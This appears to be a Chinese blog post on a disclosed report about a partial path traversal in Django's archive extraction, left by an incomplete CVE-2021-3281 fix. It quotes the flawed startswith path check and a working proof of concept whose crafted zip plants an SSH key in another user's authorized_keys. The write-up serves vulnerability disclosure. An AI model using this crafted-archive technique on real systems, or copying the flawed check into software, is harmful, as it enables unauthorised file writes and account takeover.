Django归档解压路径遍历漏洞剖析:CVE-2021-3281补丁不完全的警示

本文详细分析了在Django框架中发现的CVE-2021-3281路径遍历漏洞,其原始补丁因`os.path.abspath`函数移除路径末尾分隔符导致防护失效,攻击者可借此将文件解压到预期基础目录之外。

报告详情

报告 ID: #3328367 标题: Path traversal via archive.extract - CVE 2021-3281 incomplete patch 报告状态: 已披露 报告提交者: stackered 报告对象: Django 提交时间: 2025年9月5日,UTC时间13:21 漏洞弱点: 路径遍历 关联CVE ID: CVE-2021-3281 严重等级: 低 (3.7) 披露时间: 2025年11月21日,UTC时间19:05

漏洞概述与发现过程

在对先前漏洞补丁进行代码审查时,我发现针对CVE-2021-3281的修复并不完整。为缓解该漏洞,在ZipArchiveTarArchive类的extract函数中添加了以下防护逻辑,以确保所有文件都解压在基础文件夹 (target_path) 下:

1
2
3
4
5
6
7
# django/django/utils/archive.py
def target_filename(self, to_path, name):
    target_path = os.path.abspath(to_path)
    filename = os.path.abspath(os.path.join(target_path, name))
    if not filename.startswith(target_path):
        raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
    return filename

这段代码使用abspath函数获取绝对且规范化的唯一路径,然后利用startswith函数验证目标路径是否在预期的基础文件夹内。然而,abspath函数会移除路径末尾的分隔符,这使得防护逻辑不足以防御部分路径遍历攻击。

例如,假设基础文件夹定义为/var/lib/,初始文件名为/var/library/test.txt。由于末尾的斜杠被移除,攻击者仍然可以进行部分路径遍历,跳转到以相同字符开头的另一个目录,因为该检查会通过:

1
"/var/library/test.txt".startswith("/var/lib") == true

在Python CLI中执行以下代码不会引发预期的异常:

1
2
3
4
5
import os
target_path = os.path.abspath("/var/lib/")
filename = os.path.abspath(os.path.join(target_path, "/var/library/test.txt"))
if not filename.startswith(target_path):
   raise Exception

影响

这导致了一个部分路径遍历漏洞,允许攻击者在解压缩归档文件(tar和zip)时,将文件写入基础目录之外。

交互过程与概念验证(PoC)

2025年9月11日:Django工作人员nessita确认收到报告,并请求保持信息机密。 2025年9月16日:Django工作人员theorangeone将状态更改为“需要更多信息”,请求提供一个能利用Django工具并展示漏洞利用的概念验证。 2025年9月16日:报告提交者stackered提供了以下功能性的PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import zipfile
from django.utils.archive import *

zip_path = "malicious.zip"

def create_malicious_zip():
    with zipfile.ZipFile(zip_path, "w") as zf:
        zf.writestr("/home/johnny/.ssh/authorized_keys", "ssh key\n")
        zf.writestr("test.txt", "Test\n")
    print(f"Archive {zip_path} hase been successfully created")

def extract_archive():
    archive = ZipArchive(zip_path)
    archive.extract("/home/john")

if __name__ == "__main__":
    create_malicious_zip()
    extract_archive()

/home目录下创建两个可由运行PoC的同一用户写入的目录(johnjohnny)。即使目标解压目录设置为/home/john,此PoC也会在/home/johnny/.ssh/authorized_keys中添加(如果不存在则创建)攻击者的SSH密钥。

2025年9月18日:Django工作人员sarahvboyce确认了漏洞,并附上了建议的缓解方案补丁(0001-Fixed-CVE-2025-XXXXX-Fixed-potential-partial-directo.patch),同时计划在博客文章中提及漏洞发现者“stackered”。

讨论与结论

报告提交者曾就漏洞严重性(认为应为“中危”)与Django团队进行了讨论。Django团队维持“低危”评估,理由是archive.extract是一个未公开记录的方法,其使用范围通常仅限于开发人员使用python manage.py startproject/app --template设置项目时,而非在已部署的应用程序中。该漏洞最终在2025年10月1日随Django版本5.2.7、5.1.13和4.2.25的发布得到修复,并被分配了CVE-2025-59682。

2025年11月11日:互联网漏洞赏金(Internet Bug Bounty)决定此报告不符合赏金奖励条件。报告最终于11月21日被公开披露。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计